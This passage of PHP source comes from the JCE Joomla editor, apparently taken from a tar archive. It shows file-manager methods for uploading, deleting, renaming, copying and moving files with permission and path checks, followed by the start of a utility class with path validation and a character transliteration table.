        // make extension websafe
        $ext = WFUtility::makeSafe($ext, $this->get('websafe_mode', 'utf-8'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));

        // check extension exists
        if (empty($ext) || $ext === $file['name']) {
            throw new InvalidArgumentException('Upload Failed: The file name does not contain a valid extension.');
        }

        // strip extension
        $name = WFUtility::stripExtension($name);

        // make file name 'web safe'
        $name = WFUtility::makeSafe($name, $this->get('websafe_mode', 'utf-8'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));

        // check name
        if (WFUtility::validateFileName($name) === false) {
            throw new InvalidArgumentException('Upload Failed: The file name is invalid.');
        }

        // target directory
        $dir = (string) $app->input->get('upload-dir', '', 'STRING');

        // decode and cast as string
        $dir = rawurldecode($dir);

        // get upload settings from the config
        $upload = $this->get('upload');

        // add random string
        if ($upload['add_random']) {
            $name = $name . '_' . substr(md5(uniqid(rand(), 1)), 0, 5);
        }

        // rebuild file name - name + extension
        $name = $name . '.' . $ext;

        // pass to onBeforeUpload
        $this->fireEvent('onBeforeUpload', array(&$file, &$dir, &$name));

        // check destination path
        WFUtility::checkPath($dir);

        // if directory is empty, use the default complex path
        if (empty($dir)) {
            $dir = $this->getDefaultPath();
        }

        // extract the path from the complex path, remove prefix
        $dir = $this->resolvePath($dir);

        // an upload cannot be made into the primary directory tree
        if (empty($dir)) {
            throw new InvalidArgumentException('Upload Failed: Invalid target directory');
        }

        // check path exists
        if (!$filesystem->is_dir($dir)) {
            throw new InvalidArgumentException('Upload Failed: The target directory does not exist');
        }

        // check access
        if (!$this->checkPathAccess($dir)) {
            throw new InvalidArgumentException('Upload Failed: Access to the target directory is restricted');
        }

        // Check file number limits
        if (!empty($upload['total_files'])) {
            if ($filesystem->countFiles($dir, true) > $upload['total_files']) {
                throw new InvalidArgumentException(Text::_('WF_MANAGER_FILE_LIMIT_ERROR'));
            }
        }

        // Check total file size limit
        if (!empty($upload['total_size'])) {
            $size = $filesystem->getTotalSize($dir);

            if (($size / 1024 / 1024) > $upload['total_size']) {
                throw new InvalidArgumentException(Text::_('WF_MANAGER_FILE_SIZE_LIMIT_ERROR'));
            }
        }

        $contentType = $_SERVER['CONTENT_TYPE'];

        // Only multipart uploading is supported for now
        if ($contentType && strpos($contentType, 'multipart') !== false) {
            // upload file with filesystem
            $result = $filesystem->upload('multipart', trim($file['tmp_name']), $dir, $name);

            if (!$result->state) {
                if (empty($result->message)) {
                    $result->message = Text::_('WF_MANAGER_UPLOAD_ERROR');
                }

                $result->code = 103;
            }

            @unlink($file['tmp_name']);
        } else {
            $result->state = false;
            $result->code = 103;
            $result->message = Text::_('WF_MANAGER_UPLOAD_ERROR');
        }

        // upload finished
        if ($result instanceof WFFileSystemResult) {
            if ($result->state === true) {
                $name = WFUtility::mb_basename($result->path);

                if (empty($result->url)) {
                    /*$relative = WFUtility::makePath($dir, $name);
                    $result->url = WFUtility::makePath($filesystem->getBaseURL(), $relative);*/

                    $result->url = WFUtility::makePath($dir, $name);
                }

                // trim slashes
                $result->url = trim($result->url, '/');

                // run events
                $data = $this->fireEvent('onUpload', array($result->path, $result->url));

                $data['name'] = $name;

                $this->setResult($data, 'files');
            } else {
                $this->setResult($result->message, 'error');
            }
        }

        return $this->getResult();
    }

    /**
     * Delete the relative file(s).
     *
     * @param $files the relative path to the file name or comma seperated list of multiple paths
     *
     * @return string $error on failure
     */
    public function deleteItem($items)
    {
        // check for feature access
        if (!$this->checkFeature('delete', 'folder') && !$this->checkFeature('delete', 'file')) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
        }

        $filesystem = $this->getFileSystem();
        $items = explode(',', rawurldecode((string) $items));

        foreach ($items as $item) {
            // decode and cast as string
            $item = (string) rawurldecode($item);

            // check path
            WFUtility::checkPath($item);

            $item = $this->resolvePath($item);

            if ($filesystem->is_file($item)) {
                if ($this->checkFeature('delete', 'file') === false) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
                }

                $path = $item;
            } elseif ($filesystem->is_dir($item)) {
                if ($this->checkFeature('delete', 'folder') === false) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
                }

                $path = dirname($item);
            }

            // check access
            if (!$this->checkPathAccess($path)) {
                throw new InvalidArgumentException('Delete Failed: Access to the target directory is restricted');
            }

            $result = $filesystem->delete($item);

            if ($result instanceof WFFileSystemResult) {
                if (!$result->state) {
                    if ($result->message) {
                        $this->setResult($result->message, 'error');
                    } else {
                        $this->setResult(Text::sprintf('WF_MANAGER_DELETE_' . strtoupper($result->type) . '_ERROR', WFUtility::mb_basename($item)), 'error');
                    }
                } else {
                    $this->fireEvent('on' . ucfirst($result->type) . 'Delete', array($item));
                    $this->setResult($item, $result->type);
                }
            }
        }

        return $this->getResult();
    }

    /**
     * Rename a file.
     *
     * @param string $src  The relative path of the source file
     * @param string $dest The name of the new file
     *
     * @return string $error
     */
    public function renameItem()
    {
        // check for feature access
        if (!$this->checkFeature('rename', 'folder') && !$this->checkFeature('rename', 'file')) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
        }

        $args = func_get_args();

        $source = array_shift($args);
        $destination = array_shift($args);

        // decode and cast as string
        $source = (string) rawurldecode($source);

        // decode and cast as string
        $destination = (string) rawurldecode($destination);

        WFUtility::checkPath($source);
        WFUtility::checkPath($destination);

        // check for extension in destination name
        if (WFUtility::validateFileName($destination) === false) {
            throw new InvalidArgumentException('Rename Failed: The file name is invalid.');
        }

        // extract the path from the complex path, removing the prefix
        $source = $this->resolvePath($source);

        $filesystem = $this->getFileSystem();

        if ($filesystem->is_file($source)) {
            if ($this->checkFeature('rename', 'file') === false) {
                throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
            }

            $path = dirname($source);
        } elseif ($filesystem->is_dir($source)) {
            if ($this->checkFeature('rename', 'folder') === false) {
                throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
            }

            $path = $source;
        }

        // check access
        if (!$this->checkPathAccess($path)) {
            throw new InvalidArgumentException('Rename Failed: Access to the target directory is restricted');
        }

        // apply filesystem options
        $destination = WFUtility::makeSafe($destination, $this->get('websafe_mode'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));
        $result = $filesystem->rename($source, $destination, $args);

        if ($result instanceof WFFileSystemResult) {
            if (!$result->state) {
                $this->setResult(Text::sprintf('WF_MANAGER_RENAME_' . strtoupper($result->type) . '_ERROR', WFUtility::mb_basename($source)), 'error');
                if ($result->message) {
                    $this->setResult($result->message, 'error');
                }
            } else {
                $data = array(
                    'name' => WFUtility::mb_basename($result->path),
                );

                $event = $this->fireEvent('on' . ucfirst($result->type) . 'Rename', array($destination));

                // merge event data with default values
                $data = array_merge($data, $event);

                $this->setResult($data, $result->type);
            }
        }

        return $this->getResult();
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     * @param string $conflict The conflict action copy|replace or blank to confirm
     *
     * @return string $error on failure
     */
    public function copyItem($items, $destination, $conflict = '')
    {
        // check for feature access
        if (!$this->checkFeature('move', 'folder') && !$this->checkFeature('move', 'file')) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
        }

        $filesystem = $this->getFileSystem();

        $items = explode(',', rawurldecode((string) $items));

        // decode and cast as string
        $destination = (string) rawurldecode($destination);

        // check destination path
        WFUtility::checkPath($destination);

        // extract the path from the complex path, removing the prefix
        $destination = $this->resolvePath($destination);

        if (empty($destination)) {
            throw new InvalidArgumentException('Copy Failed:Invalid destination path.');
        }

        // check for extension in destination name
        if (WFUtility::validateFileName($destination) === false) {
            throw new InvalidArgumentException('Copy Failed: The file name is invalid.');
        }

        // check path exists
        if (!$filesystem->is_dir($destination)) {
            throw new InvalidArgumentException('Copy Failed: The target directory does not exist');
        }

        // check access
        if (!$this->checkPathAccess($destination)) {
            throw new InvalidArgumentException('Copy Failed: Access to the target directory is restricted');
        }

        foreach ($items as $item) {
            // decode and cast as string
            $item = (string) rawurldecode($item);

            // check source path
            WFUtility::checkPath($item);

            if (WFUtility::validateFileName($item) === false) {
                throw new InvalidArgumentException('Copy Failed: The file name is invalid.');
            }

            $item = $this->resolvePath($item);

            if ($filesystem->is_file($item)) {
                if ($this->checkFeature('move', 'file') === false) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
                }

                $path = dirname($item);
            } elseif ($filesystem->is_dir($item)) {
                if ($this->checkFeature('move', 'folder') === false) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
                }

                $path = $item;
            }

            $target = WFUtility::makePath($destination, WFUtility::mb_basename($item));

            if ($filesystem->is_file($target)) {
                // target is the same as the source so paste as copy
                if ($target === $item) {
                    $conflict = 'copy';
                    // file exists and is being copied into a new folder
                } else {
                    // conflict action not set so confirm
                    if (!$conflict) {
                        $this->setResult($item, 'confirm');
                        return $this->getResult();
                    }
                }
            }

            // check access
            if (!$this->checkPathAccess($path)) {
                throw new InvalidArgumentException('Copy Failed: Access to the target directory is restricted');
            }

            $result = $filesystem->copy($item, $destination, $conflict);

            if ($result instanceof WFFileSystemResult) {
                if (!$result->state) {
                    if ($result->message) {
                        $this->setResult($result->message, 'error');
                    } else {
                        $this->setResult(Text::sprintf('WF_MANAGER_COPY_' . strtoupper($result->type) . '_ERROR', WFUtility::mb_basename($item)), 'error');
                    }
                } else {
                    $data = array(
                        'name' => $filesystem->toRelative($result->path),
                    );

                    $event = $this->fireEvent('on' . ucfirst($result->type) . 'Copy', array($item));

                    // merge event data with default values
                    $data = array_merge($data, $event);

                    $this->setResult($data, $result->type);
                }
            }
        }

        return $this->getResult();
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function moveItem($items, $destination, $overwrite = false)
    {
        // check for feature access
        if (!$this->checkFeature('move', 'folder') && !$this->checkFeature('move', 'file')) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
        }

        $filesystem = $this->getFileSystem();

        $items = explode(',', rawurldecode((string) $items));

        // decode and cast as string
        $destination = (string) rawurldecode($destination);

        // check destination path
        WFUtility::checkPath($destination);

        // resolve the path to the directory store, eg: files/foo.pdf => images/files/foo.pdf
        $destination = $this->resolvePath($destination);

        if (empty($destination)) {
            throw new InvalidArgumentException('Move Failed: The destination path is invalid.');
        }

        // check for extension in destination name
        if (WFUtility::validateFileName($destination) === false) {
            throw new InvalidArgumentException('Move Failed: The file name is invalid.');
        }

        // check path exists
        if (!$filesystem->is_dir($destination)) {
            throw new InvalidArgumentException('Move Failed: The target directory does not exist');
        }

        // check access
        if (!$this->checkPathAccess($destination)) {
            throw new InvalidArgumentException('Move Failed: Access to the target directory is restricted');
        }

        foreach ($items as $item) {
            // decode and cast as string
            $item = (string) rawurldecode($item);

            // check source path
            WFUtility::checkPath($item);

            // extract the path from the complex path, removing the prefix
            $item = $this->resolvePath($item);

            if (WFUtility::validateFileName($item) === false) {
                throw new InvalidArgumentException('Move Failed: The file name is invalid.');
            }

            if ($filesystem->is_file($item)) {
                if ($this->checkFeature('move', 'file') === false) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
                }
            } elseif ($filesystem->is_dir($item)) {
                if ($this->checkFeature('move', 'folder') === false) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
                }
            }

            if ($filesystem->is_file(WFUtility::makePath($destination, WFUtility::mb_basename($item))) && $overwrite === false) {
                $this->setResult($item, 'confirm');

                return $this->getResult();
            }

            $result = $filesystem->move($item, $destination);

            if ($result instanceof WFFileSystemResult) {
                if (!$result->state) {
                    if ($result->message) {
                        $this->setResult($result->message, 'error');
                    } else {
                        $this->setResult(Text::sprintf('WF_MANAGER_MOVE_' . strtoupper($result->type) . '_ERROR', WFUtility::mb_basename($item)), 'error');
                    }
                } else {
                    $data = array(
                        'name' => $filesystem->toRelative($result->path),
                    );

                    $event = $this->fireEvent('on' . ucfirst($result->type) . 'Move', array($item));

                    // merge event data with default values
                    $data = array_merge($data, $event);

                    $this->setResult($data, $result->type);
                }
            }
        }

        return $this->getResult();
    }

    /**
     * Create a new folder
     * @return string $error on failure
     */
    public function folderNew()
    {
        // check if the user has access to create a folder
        if ($this->checkFeature('create', 'folder') === false) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
        }

        $args = func_get_args();

        // path where the new folder will be created
        $target = array_shift($args);

        // a folder cannot be created in the primary directory tree
        if (empty($target)) {
            throw new InvalidArgumentException('Action Failed: Invalid target directory');
        }

        // the name of the new folder
        $new = array_shift($args);

        // decode and cast as string
        $target = (string) rawurldecode($target);
        $new = (string) rawurldecode($new);

        $target = $this->resolvePath($target);

        // check access
        if (!$this->checkPathAccess($target)) {
            throw new InvalidArgumentException('Action Failed: Access to the target directory is restricted');
        }

        $filesystem = $this->getFileSystem();

        $name = WFUtility::makeSafe($new, $this->get('websafe_mode'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));

        // check for extension in destination name
        if (WFUtility::validateFileName($name) === false) {
            throw new InvalidArgumentException('Action Failed: The file name is invalid.');
        }

        $result = $filesystem->createFolder($target, $name, $args);

        if ($result instanceof WFFileSystemResult) {
            if (!$result->state) {
                if ($result->message) {
                    $this->setResult($result->message, 'error');
                } else {
                    $this->setResult(Text::sprintf('WF_MANAGER_NEW_FOLDER_ERROR', WFUtility::mb_basename($new)), 'error');
                }
            } else {
                $data = array(
                    'name'  => WFUtility::mb_basename($new),
                    'id'    => WFUtility::mb_basename($new),
                );

                $event = $this->fireEvent('onFolderNew', array($new));

                // merge event data with default values
                $data = array_merge($data, $event);

                $this->setResult($data, $result->type);
            }
        }

        return $this->getResult();
    }

    /**
     * Get the dimensions of a file.
     *
     * @param string $file The file to get dimensions for
     * @return array The dimensions of the file
     */
    public function getDimensions($file)
    {
        return $this->getFileSystem()->getDimensions($file);
    }

    /**
     * Convert a file to an absolute path.
     *
     * @param string $file The file to convert
     * @return string The absolute path
     */
    public function toAbsolute($file)
    {
        $path = $this->resolvePath($file);

        return $this->getFileSystem()->toAbsolute($path);
    }

    /**
     * Convert a file to a relative path.
     *
     * @param string $file The file to convert
     * @return string The relative path
     */
    public function toRelative($file)
    {
        $path = $this->resolvePath($file);

        return $this->getFileSystem()->toRelative($path);
    }

    /**
     * Proxy for the filesystem read method.
     *
     * @param string $file The file to read
     * @return string The file contents
     */
    public function readFile($file)
    {
        $path = $this->resolvePath($file);

        return $this->getFileSystem()->read($path);
    }

    public function writeFile($file, $data)
    {
        $path = $this->resolvePath($file);

        return $this->getFileSystem()->write($path, $data);
    }

    /**
     * Proxy for the filesystem is_file method.
     * @param string $file The file to check
     * @return bool True if the file exists
     */
    public function is_file($file)
    {
        $path = $this->resolvePath($file);

        return $this->getFileSystem()->is_file($path);
    }

    /**
     * Proxy for the filesystem is_dir method.
     *
     * @param string $path The path to check
     * @return boolean True if the path is a directory
     */
    public function is_dir($path)
    {
        $path = $this->resolvePath($path);

        return $this->getFileSystem()->is_dir($path);
    }

    private function getUploadValue()
    {
        $upload = trim(ini_get('upload_max_filesize'));
        $post = trim(ini_get('post_max_size'));

        $upload = WFUtility::convertSize($upload);
        $post = WFUtility::convertSize($post);

        if (intval($upload) <= intval($post)) {
            return $upload;
        }

        return $post;
    }

    private function getUploadDefaults()
    {
        $filesystem = $this->getFileSystem();
        $features = $filesystem->get('upload');

        $upload_max = $this->getUploadValue();

        $upload = $this->get('upload');

        // get max size as kilobytes
        if (empty($upload['max_size'])) {
            $upload['max_size'] = 1024;
        }

        // get upload size as integer
        $size = intval(preg_replace('/[^0-9]/', '', $upload['max_size']));

        // must not exceed server maximum if > 0
        if (!empty($upload_max)) {
            if ((int) $size * 1024 > (int) $upload_max) {
                $size = $upload_max / 1024;
            }
        }

        $upload = array_merge($upload, array(
            'max_size' => $size,
            'filetypes' => $this->listFileTypes(),
        ));

        if (isset($features['elements'])) {
            $upload['elements'] = $features['elements'];
        }

        if (isset($features['dialog'])) {
            $upload['dialog'] = $features['dialog'];
        }

        return $upload;
    }

    // Set File Browser config
    private function setConfig($config = array())
    {
        // apply passed in properties (this must be done before initialising filesystem!)
        if (!empty($config)) {
            $this->setProperties($config);
        }

        $filesystem = $this->getFileSystem();

        $default = array(
            'upload' => $this->getUploadDefaults(),
        );

        $properties = array('base', 'delete', 'rename', 'folder_new', 'copy', 'move', 'list_limit');

        foreach ($properties as $property) {
            if ($filesystem->get($property)) {
                $default[$property] = $filesystem->get($property);
            }
        }

        $pathVariables = $this->getPathVariables();

        foreach ($pathVariables as $key => $value) {
            $default[$key] = $value;
        }

        // apply default properties
        $this->setProperties($default);
    }
}
com_jce/editor/libraries/classes/utility.php000060400000124206152453734450015273 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

/* Set internal character encoding to UTF-8 */
if (function_exists('mb_internal_encoding')) {
    mb_internal_encoding("UTF-8");
}

use Joomla\CMS\Uri\Uri;

abstract class WFUtility
{
    public static function safe_strpos($string, $needle, $offset = 0)
    {
        if (function_exists('mb_strpos')) {
            return mb_strpos($string, $needle, $offset);
        } else {
            return strpos($string, $needle, $offset);
        }
    }

    public static function safe_substr($string, $start, $length = null)
    {
        if (function_exists('mb_substr')) {
            return mb_substr($string, $start, $length);
        } else {
            return substr($string, $start, $length);
        }
    }

    public static function safe_strlen($string)
    {
        if (function_exists('mb_strlen')) {
            return mb_strlen($string);
        } else {
            return strlen($string);
        }
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe.
     *
     * From PHPMailer - https://github.com/PHPMailer/PHPMailer/blob/v6.1.4/src/PHPMailer.php#L4256-L4302
     *
     * @see http://www.php.net/manual/en/function.pathinfo.php#107461
     *
     * @param string     $path    A filename or path, does not need to exist as a file
     * @param int|string $options Either a PATHINFO_* constant,
     *                            or a string name to return only the specified piece
     *
     * @return string|array
     */
    public static function mb_pathinfo($path, $options = null)
    {
        // check if multibyte string, use pathname() if not
        if (function_exists('mb_strlen')) {
            if (mb_strlen($path) === strlen($path)) {
                return pathinfo($path, $options);
            }
        }

        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');

        $pathinfo = array();

        if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }

        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Get the file extension from a path
     *
     * From libraries/vendor/joomla/filesystem/src/File.php
     * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
     *
     * @param  string $path The file path
     * @param  bool   $lowercase Convert the extension to lowercase
     * @return string The file extension
     */
    public static function getExtension($file, $lowercase = false)
    {
        // String manipulation should be faster than pathinfo() on newer PHP versions.
        $dot = strrpos($file, '.');

        // If no dot is found or it's at the start, return an empty string (no extension)
        if ($dot === false || $dot === 0) {
            return '';
        }

        $ext = substr($file, $dot + 1);

        // Ensure the extension does not contain any slashes or directory separators
        if (strpos($ext, '/') !== false || strpos($ext, DIRECTORY_SEPARATOR) !== false) {
            return '';
        }

        if ($lowercase) {
            $ext = strtolower($ext);
        }

        return $ext;
    }

    /**
     * Remove the extension from a file name or path
     *
     * @param  string $path The file path
     * @return string The file path without the extension
     */
    public static function stripExtension($path)
    {
        return preg_replace('#\.[^.]*$#', '', $path);
    }

    /**
     * Get the file name
     *
     * @param  string $path The file path
     * @return string The file name without the path or extension
     */
    public static function getFilename($path)
    {
        // check if multibyte string, use basename() if not
        if (function_exists('mb_strlen')) {
            if (mb_strlen($path) === strlen($path)) {
                return pathinfo($path, PATHINFO_FILENAME);
            }
        }

        // get basename
        $path = self::mb_basename($path);

        // remove name without extension
        return self::stripExtension($path);
    }

    public static function cleanPath($path, $ds = '/', $prefix = '')
    {
        $path = trim(rawurldecode($path));

        // check for UNC path on IIS and set prefix
        if ($ds == '\\' && strlen($path) > 1) {
            if ($path[0] == '\\' && $path[1] == '\\') {
                $prefix = '\\';
            }
        }

        /// Normalize slashes to forward slashes
        $path = preg_replace('#[/\\\\]+#', $ds, $path);

        // return path with prefix if any
        return $prefix . $path;
    }

    public static function uriToAbsolutePath($url)
    {
        // Get the relative root URL
        $root = Uri::root(true);

        // Make sure JPATH_SITE has a trailing slash
        $base = rtrim(JPATH_SITE, '/');

        // If $url starts with the root URL, replace it with JPATH_SITE
        $path = self::safe_substr($url, 0, self::safe_strlen($root));

        if ($path === $root) {
            $relativePath = self::safe_substr($url, self::safe_strlen($root));

            return self::makePath($base, $relativePath);
        }

        // If no match, return the original URL as it is (or handle accordingly)
        return $url;
    }

    /**
     * Append a DIRECTORY_SEPARATOR to the path if required.
     *
     * @param string $path the path
     * @param string $ds   optional directory seperator
     *
     * @return string path with trailing DIRECTORY_SEPARATOR
     */
    public static function fixPath($path)
    {
        return self::cleanPath($path . '/');
    }

    /**
     * Validates a string for use as a file or folder name or path, ensuring it contains only safe characters.
     *
     * - Disallows null bytes and control characters.
     * - Accepts valid UTF-8 strings with letters, digits, combining marks, and common safe punctuation.
     * - Allows characters: Unicode letters (L), numbers (N), marks (M), space, dot (.), dash (-),
     *   underscore (_), colon (:), forward slash (/), parentheses (), and square brackets [].
     * - Provides a fallback byte-level ASCII check if the string is not valid UTF-8.
     * - Safe for use with both multibyte and legacy ASCII inputs, even if mbstring is not available.
     *
     * @param string $string The input string to validate.
     *
     * @return bool True if the string contains only valid characters, false otherwise.
     */

    private static function checkCharValue($string)
    {
        // Disallow null byte
        if (strpos($string, "\x00") !== false) {
            return false;
        }

        // Try UTF-8 validation if mb_check_encoding() is available
        $isUtf8 = function_exists('mb_check_encoding')
        ? mb_check_encoding($string, 'UTF-8')
        : (bool) preg_match('//u', $string); // minimal UTF-8 validity test

        if ($isUtf8) {
            // Use mb_* if available
            if (function_exists('mb_strlen') && function_exists('mb_substr')) {
                $length = mb_strlen($string, 'UTF-8');

                for ($i = 0; $i < $length; $i++) {
                    $char = mb_substr($string, $i, 1, 'UTF-8');

                    if (!preg_match('#^[\p{L}\p{N}\p{M}\.\-_\:/\(\)\[\] ]$#u', $char)) {
                        return false;
                    }
                }
            } else {
                // No mbstring: use preg_match_all to split into characters
                if (!preg_match_all('/./u', $string, $matches)) {
                    return false;
                }

                foreach ($matches[0] as $char) {
                    if (!preg_match('#^[\p{L}\p{N}\p{M}\.\-_\:/\(\)\[\] ]$#u', $char)) {
                        return false;
                    }
                }
            }
        } else {
            // Fallback: raw byte-level ASCII check
            $length = strlen($string);

            for ($i = 0; $i < $length; $i++) {
                $ord = ord($string[$i]);

                if (
                    $ord < 32 || $ord > 126 ||
                    in_array($ord, [34, 42, 60, 62, 63, 92, 124]) // " * < > ? \ |
                ) {
                    return false;
                }

                if (!(
                    ($ord >= 48 && $ord <= 57) || // 0–9
                    ($ord >= 65 && $ord <= 90) || // A–Z
                    ($ord >= 97 && $ord <= 122) || // a–z
                    in_array($ord, [32, 45, 46, 95, 58, 47, 40, 41, 91, 93]) // allowed symbols
                )) {
                    return false;
                }
            }
        }

        return true;
    }

    /**
     * Validates a relative file or folder path for safe usage.
     *
     * - Decodes the path using urldecode().
     * - Rejects paths containing directory traversal sequences (../).
     * - Delegates character validation to checkCharValue(), ensuring only safe characters are used.
     * - Throws an InvalidArgumentException on failure.
     *
     * Intended for validating UTF-8-safe relative paths, including multibyte directory and file names.
     *
     * @param string $path The relative path to validate (e.g. 'images/ειδήσεις/photo.jpg').
     *
     * @return bool True if the path is valid.
     *
     * @throws InvalidArgumentException If the path contains invalid characters or traversal attempts.
     */

    public static function checkPath($path)
    {
        $path = urldecode($path);

        if (preg_match('#(^|/)\.\.(/|$)#', $path)) {
            throw new InvalidArgumentException('Invalid path traversal');
        }

        if (self::checkCharValue($path) === false) {
            throw new InvalidArgumentException('Invalid path');
        }

        return true;
    }

    /**
     * Concat two paths together. Basically $a + $b.
     *
     * @param string $a  path one
     * @param string $b  path two
     * @param string $ds optional directory seperator
     *
     * @return string $a DIRECTORY_SEPARATOR $b
     */
    public static function makePath($a, $b, $ds = '/')
    {
        return self::cleanPath($a . $ds . $b, $ds);
    }

    /**
     * Converts UTF-8 encoded Latin-based characters with diacritics to their closest ASCII equivalents.
     *
     * - Uses `transliterator_transliterate()` (from the intl extension) if available for broad Unicode support.
     * - Falls back to a static map of pre-defined Latin characters to ASCII equivalents if transliterator is not available.
     * - Handles both single strings and arrays of strings recursively.
     * - Only converts Latin-based accented characters; non-Latin scripts (e.g. Greek, Cyrillic) are not affected unless transliterator is used.
     *
     * Example:
     *   "Crème brûlée" => "Creme brulee"
     *   "Jürgen" => "Jurgen"
     *
     * @param string|array $subject The input string or array of strings to convert.
     *
     * @return string|array The ASCII-transliterated version of the input.
     */
    private static function utf8_latin_to_ascii($subject)
    {
        static $CHARS = null;

        if (is_null($CHARS)) {
            $CHARS = array(
                'À' => 'A',
                'Á' => 'A',
                'Â' => 'A',
                'Ã' => 'A',
                'Ä' => 'A',
                'Å' => 'A',
                'Æ' => 'AE',
                'Ç' => 'C',
                'È' => 'E',
                'É' => 'E',
                'Ê' => 'E',
                'Ë' => 'E',
                'Ì' => 'I',
                'Í' => 'I',
                'Î' => 'I',
                'Ï' => 'I',
                'Ð' => 'D',
                'Ñ' => 'N',
                'Ò' => 'O',
                'Ó' => 'O',
                'Ô' => 'O',
                'Õ' => 'O',
                'Ö' => 'O',
                'Ø' => 'O',
                'Ù' => 'U',
                'Ú' => 'U',
                'Û' => 'U',
                'Ü' => 'U',
                'Ý' => 'Y',
                'ß' => 's',
                'à' => 'a',
                'á' => 'a',
                'â' => 'a',
                'ã' => 'a',
                'ä' => 'a',
                'å' => 'a',
                'æ' => 'ae',
                'ç' => 'c',
                'è' => 'e',
                'é' => 'e',
                'ê' => 'e',
                'ë' => 'e',
                'ì' => 'i',
                'í' => 'i',
                'î' => 'i',
                'ï' => 'i',
                'ñ' => 'n',
                'ò' => 'o',
                'ó' => 'o',
                'ô' => 'o',
                'õ' => 'o',
                'ö' => 'o',
                'ø' => 'o',
                'ù' => 'u',
                'ú' => 'u',
                'û' => 'u',
                'ü' => 'u',
                'ý' => 'y',
                'ÿ' => 'y',
                'Ā' => 'A',
                'ā' => 'a',
                'Ă' => 'A',
                'ă' => 'a',
                'Ą' => 'A',
                'ą' => 'a',
                'Ć' => 'C',
                'ć' => 'c',
                'Ĉ' => 'C',
                'ĉ' => 'c',
                'Ċ' => 'C',
                'ċ' => 'c',
                'Č' => 'C',
                'č' => 'c',
                'Ď' => 'D',
                'ď' => 'd',
                'Đ' => 'D',
                'đ' => 'd',
                'Ē' => 'E',
                'ē' => 'e',
                'Ĕ' => 'E',
                'ĕ' => 'e',
                'Ė' => 'E',
                'ė' => 'e',
                'Ę' => 'E',
                'ę' => 'e',
                'Ě' => 'E',
                'ě' => 'e',
                'Ĝ' => 'G',
                'ĝ' => 'g',
                'Ğ' => 'G',
                'ğ' => 'g',
                'Ġ' => 'G',
                'ġ' => 'g',
                'Ģ' => 'G',
                'ģ' => 'g',
                'Ĥ' => 'H',
                'ĥ' => 'h',
                'Ħ' => 'H',
                'ħ' => 'h',
                'Ĩ' => 'I',
                'ĩ' => 'i',
                'Ī' => 'I',
                'ī' => 'i',
                'Ĭ' => 'I',
                'ĭ' => 'i',
                'Į' => 'I',
                'į' => 'i',
                'İ' => 'I',
                'ı' => 'i',
                'IJ' => 'IJ',
                'ij' => 'ij',
                'Ĵ' => 'J',
                'ĵ' => 'j',
                'Ķ' => 'K',
                'ķ' => 'k',
                'Ĺ' => 'L',
                'ĺ' => 'l',
                'Ļ' => 'L',
                'ļ' => 'l',
                'Ľ' => 'L',
                'ľ' => 'l',
                'Ŀ' => 'L',
                'ŀ' => 'l',
                'Ł' => 'l',
                'ł' => 'l',
                'Ń' => 'N',
                'ń' => 'n',
                'Ņ' => 'N',
                'ņ' => 'n',
                'Ň' => 'N',
                'ň' => 'n',
                'ʼn' => 'n',
                'Ō' => 'O',
                'ō' => 'o',
                'Ŏ' => 'O',
                'ŏ' => 'o',
                'Ő' => 'O',
                'ő' => 'o',
                'Œ' => 'OE',
                'œ' => 'oe',
                'Ŕ' => 'R',
                'ŕ' => 'r',
                'Ŗ' => 'R',
                'ŗ' => 'r',
                'Ř' => 'R',
                'ř' => 'r',
                'Ś' => 'S',
                'ś' => 's',
                'Ŝ' => 'S',
                'ŝ' => 's',
                'Ş' => 'S',
                'ş' => 's',
                'Š' => 'S',
                'š' => 's',
                'Ţ' => 'T',
                'ţ' => 't',
                'Ť' => 'T',
                'ť' => 't',
                'Ŧ' => 'T',
                'ŧ' => 't',
                'Ũ' => 'U',
                'ũ' => 'u',
                'Ū' => 'U',
                'ū' => 'u',
                'Ŭ' => 'U',
                'ŭ' => 'u',
